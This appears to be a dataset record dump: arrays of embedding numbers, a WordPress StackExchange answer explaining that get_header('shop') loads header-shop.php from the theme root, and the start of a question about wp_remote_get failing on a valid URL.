-0.02496337890625,
-0.0027523040771484375,
0.0063018798828125,
-0.040771484375,
-0.0011720657348632812,
0.0238037109375,
-0.00313568115234375,
0.048797607421875,
-0.019622802734375,
0.0277099609375,
0.0179290771484375,
-0.038177490234375,
-0.0002999305725097656,
-0.0150146484375,
-0.01457977294921875,
-0.050262451171875,
0.050537109375,
0.0112152099609375,
-0.00814056396484375,
0.01018524169921875,
-0.00905609130859375,
-0.007843017578125,
-0.036346435546875,
0.02203369140625,
0.02264404296875,
-0.01995849609375,
0.0278472900390625,
0.01348876953125,
0.026336669921875,
0.0030879974365234375,
0.04705810546875,
-0.033905029296875,
-0.00009226799011230469,
-0.0212249755859375,
0.001617431640625,
-0.010711669921875,
-0.020294189453125,
-0.0104827880859375,
-0.006092071533203125,
0.051666259765625,
0.0297393798828125,
0.0113677978515625,
-0.03436279296875,
0.007633209228515625,
0.020721435546875,
0.058624267578125,
-0.0311737060546875,
0.00189971923828125,
0.0125732421875,
0.01293182373046875,
0.00015985965728759766,
0.051910400390625,
-0.0601806640625,
0.01085662841796875,
0.017608642578125,
0.0225982666015625,
-0.0034770965576171875,
-0.0251007080078125,
0.05291748046875,
-0.0288848876953125,
-0.0262451171875,
0.0222320556640625,
0.098876953125,
-0.0260467529296875,
-0.0190887451171875,
0.05072021484375,
-0.01385498046875,
-0.055084228515625,
0.031982421875,
-0.049774169921875,
0.072265625,
0.017822265625,
0.00467681884765625,
0.0091552734375,
0.0243682861328125,
-0.0455322265625,
0.005748748779296875,
0.0103302001953125,
0.022918701171875,
0.02423095703125,
-0.045257568359375,
-0.0113677978515625,
-0.011260986328125,
-0.0302276611328125,
0.04278564453125,
0.00962066650390625,
-0.00861358642578125,
-0.0199432373046875,
-0.0074005126953125,
0.06768798828125,
0.051727294921875,
0.033477783203125,
0.0185546875,
-0.03558349609375,
-0.002109527587890625,
0.0265045166015625,
-0.061767578125,
0.01171875,
-0.0008382797241210938,
-0.017730712890625,
-0.023223876953125,
0.006500244140625,
-0.00534820556640625,
0.01419830322265625,
-0.00939178466796875,
-0.018798828125,
0.015625,
0.013397216796875,
-0.0210418701171875,
0.05029296875,
-0.036834716796875,
0.0010585784912109375,
-0.05401611328125,
-0.0478515625,
0.0068511962890625,
0.02294921875,
-0.01137542724609375,
0.06781005859375,
0.03790283203125,
0.01885986328125,
0.11737060546875,
-0.038055419921875,
0.0302734375,
-0.01451873779296875,
-0.0271453857421875,
0.032958984375,
0.044097900390625,
0.0460205078125,
0.0113983154296875,
-0.01094818115234375,
-0.004329681396484375,
0.033355712890625,
-0.016876220703125,
-0.014312744140625,
0.007068634033203125,
0.01517486572265625,
-0.01216888427734375,
-0.00518035888671875,
0.00331878662109375,
0.0224761962890625,
0.033294677734375,
-0.00023257732391357422,
-0.0023746490478515625,
0.0217132568359375,
0.01165771484375,
0.0143585205078125,
0.030975341796875,
-0.0296630859375,
0.00150299072265625,
-0.006145477294921875,
-0.0006041526794433594,
0.0196533203125,
0.0198974609375,
-0.01232147216796875,
0.041534423828125,
-0.007068634033203125,
0.00665283203125,
0.0088348388671875,
0.028961181640625,
0.032135009765625,
-0.032135009765625,
0.0006666183471679688,
-0.0287933349609375,
0.0138397216796875,
0.0234527587890625,
-0.0184326171875,
0.04266357421875,
0.0452880859375,
0.03985595703125,
-0.0418701171875,
-0.0306243896484375,
0.00627899169921875,
-0.035430908203125,
-0.035491943359375,
-0.05914306640625,
-0.0239410400390625,
-0.0022869110107421875,
-0.013641357421875,
0.021453857421875,
-0.022125244140625,
0.0298004150390625,
-0.0128326416015625,
0.03021240234375,
-0.0015974044799804688,
-0.01328277587890625,
0.0020275115966796875,
0.0006670951843261719,
0.0081634521484375,
0.0215606689453125,
-0.031951904296875,
-0.0186309814453125,
0.014404296875,
0.0438232421875,
-0.03082275390625,
0.0157318115234375,
0.022308349609375,
0.01861572265625,
0.01287841796875,
-0.0015153884887695312,
0.027069091796875,
-0.0240020751953125,
0.002429962158203125,
0.03704833984375,
0.035064697265625,
0.02142333984375,
-0.079345703125,
-0.052001953125,
-0.0506591796875,
0.0504150390625,
0.0174407958984375,
0.0565185546875,
0.0076141357421875,
0.0283203125,
0.022216796875,
-0.032073974609375,
0.0297698974609375,
0.00952911376953125,
0.0056915283203125,
-0.01102447509765625,
0.002857208251953125,
-0.01058197021484375,
-0.060699462890625,
0.0117340087890625,
-0.002170562744140625,
-0.004947662353515625,
-0.01174163818359375,
-0.0139312744140625,
0.030914306640625,
0.039947509765625,
0.0230255126953125,
-0.0274658203125,
-0.0634765625,
-0.0777587890625,
0.007503509521484375,
0.01398468017578125,
0.002178192138671875,
-0.05035400390625,
-0.0260772705078125,
0.0263214111328125,
-0.027313232421875,
0.017974853515625,
0.027435302734375,
0.0207672119140625,
0.0228118896484375,
0.007343292236328125,
-0.07781982421875,
0.0194854736328125,
-0.0178070068359375,
-0.0142669677734375,
0.0039520263671875,
0.0870361328125,
0.007534027099609375,
-0.05377197265625,
0.0252685546875,
0.061004638671875,
0.06658935546875,
-0.01447296142578125,
0.034149169921875,
0.0308685302734375,
-0.0223846435546875,
0.031768798828125,
-0.0211334228515625,
-0.016845703125,
-0.0251312255859375,
-0.0133514404296875,
0.019775390625,
-0.027496337890625,
-0.028594970703125,
-0.053192138671875,
0.01216888427734375,
0.025909423828125,
-0.0018625259399414062,
-0.01910400390625,
0.01349639892578125,
-0.041046142578125,
0.017791748046875,
0.007022857666015625,
-0.0197296142578125,
-0.0003695487976074219,
0.0054168701171875,
-0.039642333984375,
-0.07391357421875,
-0.037628173828125,
0.04620361328125,
-0.052154541015625,
0.01050567626953125,
0.02752685546875,
-0.025787353515625,
0.0016736984252929688,
0.01012420654296875,
0.006740570068359375,
0.04840087890625,
-0.00890350341796875,
-0.055511474609375,
-0.0037078857421875,
-0.0148162841796875,
0.043487548828125,
-0.027679443359375,
-0.0276947021484375,
-0.04736328125,
0.0100250244140625,
-0.0545654296875,
0.040435791015625,
0.03045654296875,
-0.048095703125,
-0.126220703125,
-0.00774383544921875,
-0.04034423828125,
-0.04644775390625,
-0.002086639404296875,
-0.028411865234375,
-0.0195465087890625,
0.021453857421875,
0.00782012939453125,
-0.0312042236328125,
-0.020477294921875,
0.034881591796875,
-0.0129547119140625,
0.004512786865234375,
0.01216888427734375,
-0.0141754150390625,
-0.01107025146484375,
0.006053924560546875,
0.0167388916015625,
-0.039825439453125,
-0.00795745849609375,
-0.00798797607421875,
0.05010986328125,
0.07904052734375,
-0.001125335693359375,
0.035858154296875,
0.0149383544921875,
-0.045654296875,
0.0014066696166992188,
0.03594970703125,
-0.048980712890625,
0.0157928466796875,
0.08233642578125,
0.0703125,
0.024749755859375,
-0.02923583984375,
0.0283660888671875,
0.0209808349609375,
-0.0006947517395019531,
0.004177093505859375,
0.0015125274658203125,
-0.0328369140625,
-0.025115966796875,
0.00051116943359375,
-0.0201873779296875,
0.04815673828125,
-0.02984619140625,
-0.048065185546875,
0.00994110107421875,
-0.032470703125,
-0.00844573974609375,
-0.07427978515625,
0.040557861328125,
0.0609130859375,
-0.031951904296875,
0.01506805419921875,
-0.00888824462890625,
-0.0157928466796875,
0.03515625,
-0.020904541015625,
-0.019439697265625,
0.01031494140625,
-0.02703857421875,
0.016357421875,
-0.0198974609375,
0.050140380859375,
-0.031768798828125,
0.0082550048828125,
0.031463623046875,
-0.0125732421875,
-0.0318603515625,
-0.03717041015625,
0.0265350341796875,
-0.01233673095703125,
-0.0552978515625,
0.09759521484375,
-0.0047149658203125,
-0.0241546630859375,
-0.03173828125,
0.040252685546875,
-0.026153564453125,
-0.007678985595703125,
-0.00907135009765625,
-0.0153350830078125,
0.0031032562255859375,
0.021240234375,
-0.0017986297607421875,
-0.014892578125,
-0.0030574798583984375,
-0.046539306640625,
0.00844573974609375,
-0.0022525787353515625
] |
bc474918e12c9d3bf99ecde90b6b175208f3559d
|
Wordpress Stackexchange
Q: Where is get_header('shop') file in Woocommerce templates I need to modify the get_header('shop') file in Woocommerce but don't know where it's located, if someone knows please help me out - thanks!
A: get_header( $name ) is a Wordpress function, that will try to load the file header-{$name}.php from your theme's root folder. If this file doesn't exist, Wordpress will load the default header.php file.
|
Q: Where is get_header('shop') file in Woocommerce templates I need to modify the get_header('shop') file in Woocommerce but don't know where it's located, if someone knows please help me out - thanks!
A: get_header( $name ) is a Wordpress function, that will try to load the file header-{$name}.php from your theme's root folder. If this file doesn't exist, Wordpress will load the default header.php file.
A: get_header() is a WordPress function (not a WooCommerce specific one) and if passed a parameter should load a file named header-<parameter>.php from the theme root (or parent theme root). So there should be a file named header-shop.php in the same directory as header.php or footer.php.
|
wordpress
|
{
"language": "en",
"length": 111,
"provenance": "stackexchange_00019.jsonl.gz:436758",
"question_score": "6",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113123"
}
|
[
-0.007610321044921875,
-0.01255035400390625,
-0.0338134765625,
-0.015106201171875,
-0.00566864013671875,
-0.01210784912109375,
0.013824462890625,
0.00826263427734375,
-0.03314208984375,
0.048309326171875,
-0.06414794921875,
0.03778076171875,
0.005970001220703125,
0.0290985107421875,
-0.002658843994140625,
-0.033782958984375,
0.04486083984375,
-0.010284423828125,
0.05731201171875,
0.0305633544921875,
-0.0208892822265625,
0.056304931640625,
0.05194091796875,
-0.0080718994140625,
0.008331298828125,
-0.036712646484375,
0.11651611328125,
-0.036773681640625,
0.012603759765625,
-0.028106689453125,
0.0251007080078125,
-0.0027523040771484375,
0.020538330078125,
0.011932373046875,
-0.0238800048828125,
0.0171966552734375,
-0.002323150634765625,
0.006565093994140625,
0.01324462890625,
0.01204681396484375,
0.00901031494140625,
0.0008440017700195312,
-0.006656646728515625,
0.005168914794921875,
-0.02044677734375,
-0.044952392578125,
-0.0048980712890625,
-0.04302978515625,
0.045501708984375,
-0.0017108917236328125,
-0.007476806640625,
0.0225677490234375,
-0.0035877227783203125,
-0.0223388671875,
-0.0269317626953125,
-0.028472900390625,
-0.0275115966796875,
0.0087738037109375,
0.017364501953125,
-0.0150909423828125,
-0.0170745849609375,
-0.0131683349609375,
0.0196075439453125,
0.00006753206253051758,
-0.00940704345703125,
0.0273590087890625,
0.005397796630859375,
0.0029811859130859375,
-0.034454345703125,
0.0081024169921875,
0.0361328125,
-0.0285797119140625,
0.0159149169921875,
0.053253173828125,
-0.039459228515625,
-0.07366943359375,
0.01410675048828125,
-0.035736083984375,
0.044403076171875,
0.01678466796875,
0.003162384033203125,
-0.0278472900390625,
-0.05242919921875,
-0.03802490234375,
0.042816162109375,
-0.0024051666259765625,
0.0014142990112304688,
-0.0086517333984375,
-0.0144195556640625,
-0.034637451171875,
-0.0303802490234375,
-0.00908660888671875,
-0.026763916015625,
0.022003173828125,
-0.0408935546875,
0.0005564689636230469,
-0.0232086181640625,
0.006427764892578125,
-0.02001953125,
0.046539306640625,
0.01027679443359375,
-0.0288543701171875,
0.0782470703125,
-0.042083740234375,
0.00496673583984375,
0.020843505859375,
0.0020465850830078125,
0.034423828125,
0.034759521484375,
0.0173797607421875,
-0.00714111328125,
0.01143646240234375,
-0.006282806396484375,
-0.07611083984375,
-0.0019025802612304688,
0.053253173828125,
-0.0014791488647460938,
0.006343841552734375,
0.041656494140625,
-0.005100250244140625,
0.0088958740234375,
0.0279388427734375,
0.0193634033203125,
-0.039886474609375,
-0.036529541015625,
-0.0340576171875,
-0.01374053955078125,
-0.042724609375,
0.01849365234375,
-0.0172119140625,
0.01052093505859375,
-0.01058197021484375,
-0.030670166015625,
0.048370361328125,
0.006374359130859375,
0.003753662109375,
0.0056304931640625,
0.023773193359375,
-0.006008148193359375,
-0.005977630615234375,
-0.0004878044128417969,
-0.006740570068359375,
-0.005970001220703125,
-0.017333984375,
0.036834716796875,
-0.0491943359375,
0.00453948974609375,
0.049957275390625,
0.03167724609375,
0.05731201171875,
-0.01483917236328125,
0.034027099609375,
0.0093231201171875,
0.009368896484375,
0.032745361328125,
0.0131072998046875,
0.016815185546875,
-0.00395965576171875,
-0.0245819091796875,
-0.00817108154296875,
-0.01922607421875,
-0.0206756591796875,
0.00778961181640625,
-0.064208984375,
-0.0758056640625,
0.0254974365234375,
-0.033355712890625,
-0.01349639892578125,
0.0216827392578125,
0.0241546630859375,
0.01435089111328125,
-0.0002694129943847656,
0.00435638427734375,
0.01128387451171875,
0.004543304443359375,
0.0058135986328125,
-0.0127410888671875,
0.0191497802734375,
0.0198822021484375,
0.040283203125,
0.01456451416015625,
-0.0223846435546875,
0.038604736328125,
0.00006848573684692383,
-0.0391845703125,
0.024322509765625,
0.028778076171875,
0.040802001953125,
-0.0221405029296875,
0.0197906494140625,
0.044586181640625,
0.0333251953125,
-0.07220458984375,
0.0157012939453125,
-0.034332275390625,
0.0182647705078125,
0.0225677490234375,
0.031036376953125,
-0.01001739501953125,
0.00608062744140625,
-0.044891357421875,
-0.0037746429443359375,
0.0130157470703125,
0.0063018798828125,
0.01023101806640625,
0.009124755859375,
-0.005878448486328125,
0.02435302734375,
0.00858306884765625,
0.0279541015625,
0.011260986328125,
0.017486572265625,
-0.0132293701171875,
-0.06634521484375,
-0.03997802734375,
-0.0020771026611328125,
-0.03936767578125,
0.07891845703125,
0.0084381103515625,
0.0645751953125,
0.003574371337890625,
-0.05792236328125,
0.01078033447265625,
-0.04327392578125,
0.00582122802734375,
0.050445556640625,
-0.04095458984375,
0.0154876708984375,
0.0009551048278808594,
0.03924560546875,
-0.018798828125,
0.0006427764892578125,
0.007404327392578125,
0.03704833984375,
-0.0163421630859375,
-0.00969696044921875,
-0.01470947265625,
-0.056182861328125,
0.013885498046875,
0.0413818359375,
0.0133209228515625,
0.0345458984375,
-0.01299285888671875,
0.0203704833984375,
0.06634521484375,
-0.017303466796875,
-0.01032257080078125,
0.0166473388671875,
0.00801849365234375,
0.0328369140625,
0.01096343994140625,
-0.0011720657348632812,
0.0133514404296875,
-0.04168701171875,
0.004917144775390625,
0.042205810546875,
-0.04254150390625,
-0.0213165283203125,
0.0181121826171875,
0.0130767822265625,
-0.01690673828125,
-0.02215576171875,
0.020355224609375,
-0.029876708984375,
0.05780029296875,
0.03076171875,
0.0304718017578125,
0.01032257080078125,
-0.05322265625,
0.03814697265625,
0.0244903564453125,
-0.034149169921875,
0.00372314453125,
0.052001953125,
-0.006725311279296875,
0.013946533203125,
-0.0143280029296875,
-0.017730712890625,
-0.006103515625,
0.0157470703125,
-0.0240631103515625,
-0.01983642578125,
-0.030517578125,
0.00406646728515625,
-0.006622314453125,
-0.0513916015625,
0.043670654296875,
0.032501220703125,
0.0165557861328125,
0.0178070068359375,
0.0201263427734375,
0.01464080810546875,
-0.043487548828125,
0.061737060546875,
-0.0162506103515625,
-0.0208587646484375,
0.055633544921875,
-0.01537322998046875,
0.0222625732421875,
-0.015655517578125,
0.033782958984375,
0.03955078125,
-0.0101776123046875,
0.0023899078369140625,
0.01349639892578125,
-0.037750244140625,
0.0260467529296875,
-0.00588226318359375,
-0.0206298828125,
0.00690460205078125,
-0.0673828125,
0.0169830322265625,
0.00792694091796875,
0.04052734375,
-0.0188751220703125,
-0.042083740234375,
-0.025146484375,
0.0069580078125,
-0.07916259765625,
-0.09033203125,
-0.0242767333984375,
-0.0264892578125,
0.006084442138671875,
-0.0152587890625,
0.004886627197265625,
-0.00644683837890625,
-0.037750244140625,
0.01107025146484375,
0.046478271484375,
0.0083770751953125,
-0.026885986328125,
-0.007778167724609375,
-0.0679931640625,
-0.057159423828125,
-0.0040130615234375,
-0.0006709098815917969,
-0.0156707763671875,
0.013946533203125,
-0.0187835693359375,
0.00103759765625,
-0.021759033203125,
0.032073974609375,
0.0211334228515625,
-0.0268707275390625,
0.007965087890625,
-0.047454833984375,
0.017578125,
-0.00555419921875,
-0.029571533203125,
0.0101165771484375,
0.00826263427734375,
-0.020355224609375,
-0.01346588134765625,
-0.037628173828125,
-0.0130157470703125,
0.0535888671875,
0.0214996337890625,
-0.07806396484375,
0.0005893707275390625,
-0.08258056640625,
-0.08740234375,
-0.0131988525390625,
-0.07354736328125,
0.056396484375,
0.056610107421875,
0.007152557373046875,
-0.006275177001953125,
0.034820556640625,
0.01763916015625,
0.0011425018310546875,
-0.0192108154296875,
-0.053497314453125,
0.07489013671875,
0.0289306640625,
0.053619384765625,
-0.019500732421875,
0.03857421875,
-0.007282257080078125,
0.0181884765625,
0.034820556640625,
0.021026611328125,
0.016998291015625,
-0.006748199462890625,
-0.0198211669921875,
-0.03656005859375,
0.060546875,
-0.01468658447265625,
0.01514434814453125,
-0.051055908203125,
-0.045013427734375,
-0.029266357421875,
0.0819091796875,
0.018524169921875,
-0.0263671875,
0.027374267578125,
0.006343841552734375,
-0.064697265625,
0.0145111083984375,
-0.03564453125,
-0.006000518798828125,
-0.0986328125,
-0.007312774658203125,
-0.01360321044921875,
-0.03839111328125,
0.007312774658203125,
-0.0019969940185546875,
-0.050048828125,
-0.06060791015625,
0.00982666015625,
-0.01033782958984375,
0.01247406005859375,
0.04620361328125,
-0.0035400390625,
0.0323486328125,
-0.0028400421142578125,
-0.04193115234375,
-0.01654052734375,
-0.01568603515625,
0.0147857666015625,
0.037689208984375,
0.02301025390625,
-0.042388916015625,
-0.0108642578125,
0.0240936279296875,
-0.0018167495727539062,
0.0499267578125,
-0.0101165771484375,
-0.0004143714904785156,
0.0322265625,
-0.037384033203125,
-0.0063629150390625,
-0.018707275390625,
0.006011962890625,
0.006526947021484375,
-0.049896240234375,
0.037445068359375,
0.01617431640625,
0.0308074951171875,
0.063232421875,
-0.048065185546875,
-0.0877685546875,
-0.031494140625,
0.047393798828125,
0.0047760009765625,
0.0099029541015625,
0.0125732421875,
-0.0255584716796875,
-0.038055419921875,
0.06402587890625,
-0.00275421142578125,
-0.0020885467529296875,
-0.00229644775390625,
0.0836181640625,
0.01232147216796875,
-0.02520751953125,
-0.018310546875,
0.0216827392578125,
0.040924072265625,
0.023284912109375,
0.030792236328125,
-0.005474090576171875,
-0.034515380859375,
0.076416015625,
0.019378662109375,
-0.0005106925964355469,
0.017181396484375,
0.0309295654296875,
-0.004596710205078125,
-0.034393310546875,
0.01885986328125,
-0.03216552734375,
-0.009246826171875,
0.036041259765625,
-0.01010894775390625,
0.0008702278137207031,
0.0026683807373046875,
0.01517486572265625,
-0.0220794677734375,
-0.00806427001953125,
-0.0219268798828125,
0.012451171875,
-0.01448822021484375,
0.006649017333984375,
0.055328369140625,
0.0267333984375,
0.0036144256591796875,
-0.0143585205078125,
-0.00440216064453125,
0.01506805419921875,
-0.03314208984375,
-0.0292510986328125,
-0.04107666015625,
0.01512908935546875,
0.0004322528839111328,
0.00701904296875,
0.00336456298828125,
-0.0066375732421875,
0.0174407958984375,
0.0056915283203125,
-0.028594970703125,
0.02459716796875,
-0.0189971923828125,
0.0094146728515625,
0.0236358642578125,
-0.023284912109375,
0.035003662109375,
-0.005977630615234375,
-0.01385498046875,
-0.0021610260009765625,
-0.051849365234375,
-0.0080108642578125,
-0.04754638671875,
0.038421630859375,
0.0174713134765625,
0.0079193115234375,
0.0209197998046875,
0.055999755859375,
0.047637939453125,
0.02374267578125,
-0.025787353515625,
0.0275115966796875,
0.0014142990112304688,
0.0156707763671875,
0.01099395751953125,
0.00591278076171875,
0.024566650390625,
-0.033660888671875,
-0.004222869873046875,
-0.040130615234375,
-0.0233612060546875,
0.0102691650390625,
0.029693603515625,
-0.0165863037109375,
-0.004871368408203125,
0.025360107421875,
-0.01476287841796875,
0.01385498046875,
-0.0021152496337890625,
-0.026519775390625,
-0.037445068359375,
0.0130462646484375,
0.019134521484375,
0.007572174072265625,
-0.032928466796875,
-0.02984619140625,
0.007007598876953125,
-0.04388427734375,
-0.0175628662109375,
0.033935546875,
-0.08013916015625,
0.02392578125,
0.0426025390625,
0.007549285888671875,
-0.01229095458984375,
0.025054931640625,
-0.045196533203125,
-0.00047016143798828125,
-0.030242919921875,
-0.0167083740234375,
0.03192138671875,
-0.022216796875,
0.02313232421875,
-0.041107177734375,
-0.00702667236328125,
-0.0576171875,
0.0178985595703125,
0.05712890625,
0.04180908203125,
-0.0745849609375,
0.0186614990234375,
-0.04205322265625,
-0.016326904296875,
-0.054656982421875,
-0.040374755859375,
-0.06158447265625,
0.007404327392578125,
-0.01476287841796875,
0.0206451416015625,
-0.0267181396484375,
-0.01122283935546875,
0.00919342041015625,
0.02337646484375,
0.005603790283203125,
0.04083251953125,
-0.01486968994140625,
0.06903076171875,
0.02044677734375,
0.0256195068359375,
0.016387939453125,
0.0192718505859375,
-0.0283355712890625,
-0.0067901611328125,
0.0177154541015625,
0.0216827392578125,
-0.02642822265625,
-0.054046630859375,
0.002864837646484375,
0.01386260986328125,
0.0977783203125,
-0.0105438232421875,
-0.0084075927734375,
-0.01776123046875,
-0.003932952880859375,
-0.018341064453125,
0.00717926025390625,
-0.033935546875,
-0.04998779296875,
-0.0008077621459960938,
-0.0017099380493164062,
0.0171966552734375,
0.004001617431640625,
-0.037139892578125,
0.02886962890625,
-0.005298614501953125,
0.026336669921875,
0.0012111663818359375,
-0.07818603515625,
0.09356689453125,
0.09454345703125,
0.00850677490234375,
0.037078857421875,
-0.005218505859375,
-0.0020008087158203125,
-0.01227569580078125,
0.0477294921875,
0.01384735107421875,
-0.03289794921875,
0.088134765625,
0.0255126953125,
-0.0203857421875,
0.05718994140625,
-0.03564453125,
0.016265869140625,
0.01201629638671875,
0.07373046875,
-0.047088623046875,
0.0171051025390625,
0.047760009765625,
0.002532958984375,
0.0211029052734375,
0.001346588134765625,
-0.0252532958984375,
-0.05572509765625,
0.055694580078125,
-0.0173187255859375,
0.0016794204711914062,
-0.00018739700317382812,
-0.03021240234375,
-0.0264129638671875,
-0.00786590576171875,
0.037353515625,
0.0085601806640625,
-0.00563812255859375,
-0.0293426513671875,
0.0003275871276855469,
-0.0283203125,
-0.037689208984375,
0.04498291015625,
-0.0014019012451171875,
0.018341064453125,
-0.0188751220703125,
0.050262451171875,
0.012664794921875,
0.031768798828125,
0.022430419921875,
0.030181884765625,
0.017730712890625,
0.04156494140625,
-0.0021839141845703125,
0.01107025146484375,
0.002696990966796875,
0.019134521484375,
0.001331329345703125,
-0.02777099609375,
0.0249481201171875,
0.04632568359375,
-0.08001708984375,
0.0234832763671875,
-0.036529541015625,
0.0019006729125976562,
-0.0272064208984375,
-0.0258331298828125,
0.04425048828125,
0.0125579833984375,
-0.0299072265625,
0.023284912109375,
0.029541015625,
-0.014007568359375,
0.0300140380859375,
0.059295654296875,
-0.0013866424560546875,
0.029876708984375,
0.05072021484375,
0.03289794921875,
-0.045074462890625,
0.060089111328125,
-0.042510986328125,
0.0301971435546875,
-0.01149749755859375,
0.0147857666015625,
0.05267333984375,
-0.00017213821411132812,
-0.0379638671875,
-0.02093505859375,
-0.040618896484375,
0.0220184326171875,
0.00539398193359375,
0.04656982421875,
-0.0455322265625,
-0.0075225830078125,
-0.0124664306640625,
0.0362548828125,
0.0033740997314453125,
-0.0157318115234375,
0.026397705078125,
0.021514892578125,
0.07904052734375,
0.032989501953125,
-0.01068115234375,
-0.0100860595703125,
0.01253509521484375,
-0.05023193359375,
0.027374267578125,
0.0002346038818359375,
0.037811279296875,
-0.0543212890625,
0.02313232421875,
0.0005083084106445312,
-0.0117034912109375,
-0.031158447265625,
0.006786346435546875,
-0.01666259765625,
-0.06365966796875,
-0.003265380859375,
0.0294189453125,
-0.0032711029052734375,
-0.0285491943359375,
0.04302978515625,
0.01007080078125,
0.0164794921875,
0.00377655029296875,
-0.01971435546875,
0.045135498046875,
0.0198974609375,
0.02996826171875,
0.0175933837890625,
0.00989532470703125,
0.07781982421875,
-0.021331787109375,
0.0022029876708984375,
0.00867462158203125,
0.0038738250732421875,
0.05987548828125,
0.058868408203125,
0.033599853515625,
0.01251983642578125,
0.041473388671875,
0.0258636474609375,
0.0567626953125,
-0.043792724609375,
0.004848480224609375,
0.0017490386962890625,
0.0059814453125,
0.01306915283203125,
-0.036163330078125,
0.0009603500366210938,
-0.010833740234375,
-0.005809783935546875,
-0.052459716796875,
0.01384735107421875,
0.052581787109375,
0.01084136962890625,
-0.00377655029296875,
-0.007442474365234375,
-0.055267333984375,
-0.0015439987182617188,
-0.04620361328125,
0.04498291015625,
-0.0296630859375,
0.025970458984375,
0.006092071533203125,
0.05108642578125,
-0.0180511474609375,
-0.01096343994140625,
0.01525115966796875,
0.020233154296875,
-0.028411865234375,
0.0018482208251953125,
-0.04693603515625,
-0.0482177734375,
-0.01971435546875,
0.043670654296875,
0.0178375244140625,
-0.006664276123046875,
0.006683349609375,
0.02215576171875,
-0.003643035888671875,
-0.00008577108383178711,
0.013641357421875,
-0.007328033447265625,
0.04595947265625,
-0.0158538818359375,
0.033660888671875,
0.0016536712646484375,
-0.0214996337890625,
-0.03143310546875,
0.0133819580078125,
0.033416748046875,
-0.031982421875,
0.0248565673828125,
-0.00887298583984375,
-0.038604736328125,
0.022491455078125,
-0.0268096923828125,
0.057647705078125,
-0.016754150390625,
-0.056671142578125,
-0.029510498046875,
-0.0220489501953125,
0.0190277099609375,
0.01265716552734375,
0.0394287109375,
0.0059814453125,
0.02508544921875,
-0.006893157958984375,
0.006793975830078125,
-0.0050048828125,
-0.01055908203125,
0.0083465576171875,
0.0010128021240234375,
0.023590087890625,
0.00920867919921875,
-0.049224853515625,
-0.030426025390625,
-0.0215911865234375,
0.0129852294921875,
0.0226593017578125,
0.0019292831420898438,
0.0343017578125,
0.0248870849609375,
-0.021453857421875,
-0.01554107666015625,
0.00438690185546875,
-0.0394287109375,
0.0443115234375,
0.01617431640625,
-0.019622802734375,
-0.01378631591796875,
-0.035308837890625,
-0.0166015625,
0.057586669921875,
-0.04107666015625,
0.0114288330078125,
-0.0002841949462890625,
0.0298919677734375,
-0.042877197265625,
0.03021240234375,
-0.00705718994140625,
-0.062042236328125,
-0.0164642333984375,
0.0242462158203125,
-0.000614166259765625,
0.032958984375,
-0.01380157470703125,
0.002414703369140625,
0.0130462646484375,
-0.021484375,
0.045440673828125,
-0.0208740234375,
0.07928466796875,
0.04046630859375,
-0.0243682861328125,
-0.01922607421875,
-0.01702880859375,
-0.0216522216796875,
0.00592803955078125,
0.004364013671875,
-0.00788116455078125,
-0.015594482421875,
-0.021942138671875,
-0.00010484457015991211,
0.0132598876953125,
0.014495849609375,
-0.0306854248046875,
-0.0081939697265625,
0.0308990478515625,
-0.0244293212890625,
-0.0019407272338867188,
-0.042877197265625,
-0.00202178955078125,
-0.0158233642578125,
-0.025482177734375,
0.01122283935546875,
-0.003192901611328125,
0.01078033447265625,
0.0240631103515625,
-0.01227569580078125,
0.0200347900390625,
-0.020843505859375,
-0.0009918212890625,
-0.036285400390625,
0.0002048015594482422,
0.043548583984375,
-0.0223541259765625,
-0.0151214599609375,
-0.01279449462890625,
0.0013799667358398438,
-0.041656494140625,
0.00421142578125,
-0.050262451171875,
-0.0167694091796875,
-0.042236328125,
0.007965087890625,
0.055511474609375,
-0.0111846923828125,
0.0173187255859375,
0.02392578125,
0.004817962646484375,
0.0633544921875,
-0.0904541015625,
-0.05035400390625,
0.01080322265625,
-0.01654052734375,
0.0304718017578125,
-0.05010986328125,
-0.028289794921875,
-0.060394287109375,
0.0279998779296875,
-0.0218353271484375,
-0.01102447509765625,
-0.01312255859375,
-0.052337646484375,
-0.0548095703125,
0.07427978515625,
-0.00846099853515625,
-0.0177459716796875,
-0.056610107421875,
0.0172576904296875,
-0.01206207275390625,
0.01385498046875,
-0.0223388671875,
-0.01329803466796875,
-0.0046539306640625,
0.04644775390625,
-0.00797271728515625,
0.0160675048828125,
0.02191162109375,
-0.027008056640625,
-0.0198822021484375,
0.000843048095703125,
0.0222930908203125,
-0.00211334228515625,
-0.0016117095947265625,
-0.0160064697265625,
0.0206298828125,
0.032867431640625,
-0.024627685546875,
-0.00530242919921875,
0.0130615234375,
-0.005992889404296875,
0.0127716064453125,
0.00670623779296875,
0.00286865234375,
-0.00513458251953125,
0.006313323974609375,
0.0016956329345703125,
-0.0046234130859375,
-0.0025959014892578125,
0.0089569091796875,
0.031951904296875,
-0.029541015625,
0.0025157928466796875,
0.029205322265625,
-0.035064697265625,
-0.0051727294921875,
-0.0026302337646484375,
-0.02606201171875,
-0.01230621337890625,
0.032806396484375,
-0.06121826171875,
0.0012874603271484375,
-0.02398681640625,
-0.0245819091796875,
-0.037811279296875,
-0.0311126708984375,
0.0108489990234375,
-0.0196990966796875,
-0.017669677734375,
-0.0135955810546875,
0.03948974609375,
-0.01128387451171875,
-0.0245513916015625,
0.015655517578125,
0.059478759765625,
-0.064453125,
-0.0091552734375,
0.0031299591064453125,
0.0243988037109375,
-0.045928955078125,
0.012908935546875,
-0.0261993408203125,
0.033355712890625,
-0.008544921875,
0.00939178466796875,
-0.0014448165893554688,
0.05157470703125,
0.0123291015625,
0.08795166015625,
0.007656097412109375,
0.00495147705078125,
0.0006923675537109375,
0.05767822265625,
0.0036869049072265625,
-0.0174407958984375,
0.0251007080078125,
-0.0482177734375,
-0.0053863525390625,
0.0124053955078125,
-0.00926971435546875,
-0.0430908203125,
0.0294189453125,
-0.0272369384765625,
0.006099700927734375,
0.0174713134765625
] |
147a9facb8c967cb692dbd2fdcc5bd6ee38f29a9
|
Wordpress Stackexchange
Q: wp_remote_get returns an error for valid URL I currently have the following snippet of php to fetch some HTML and render it in my theme(squash theme).
<?php $response = wp_remote_get( 'http://www.toucan-it.co.uk/wp-content/themes/squash/index5.html' );
print $response ['body']; ?>
The file I'm trying to request is available at the following URL.
http://www.toucan-it.co.uk/wp-content/themes/squash/index5.html
Problem
The problem is when trying to retrieve ‘index5.html’ via the web browser the output of the file is generated but when calling it via ‘wp_remote_get’ using either absolute or relative paths an error is displayed.
When doing a var_dump of $response
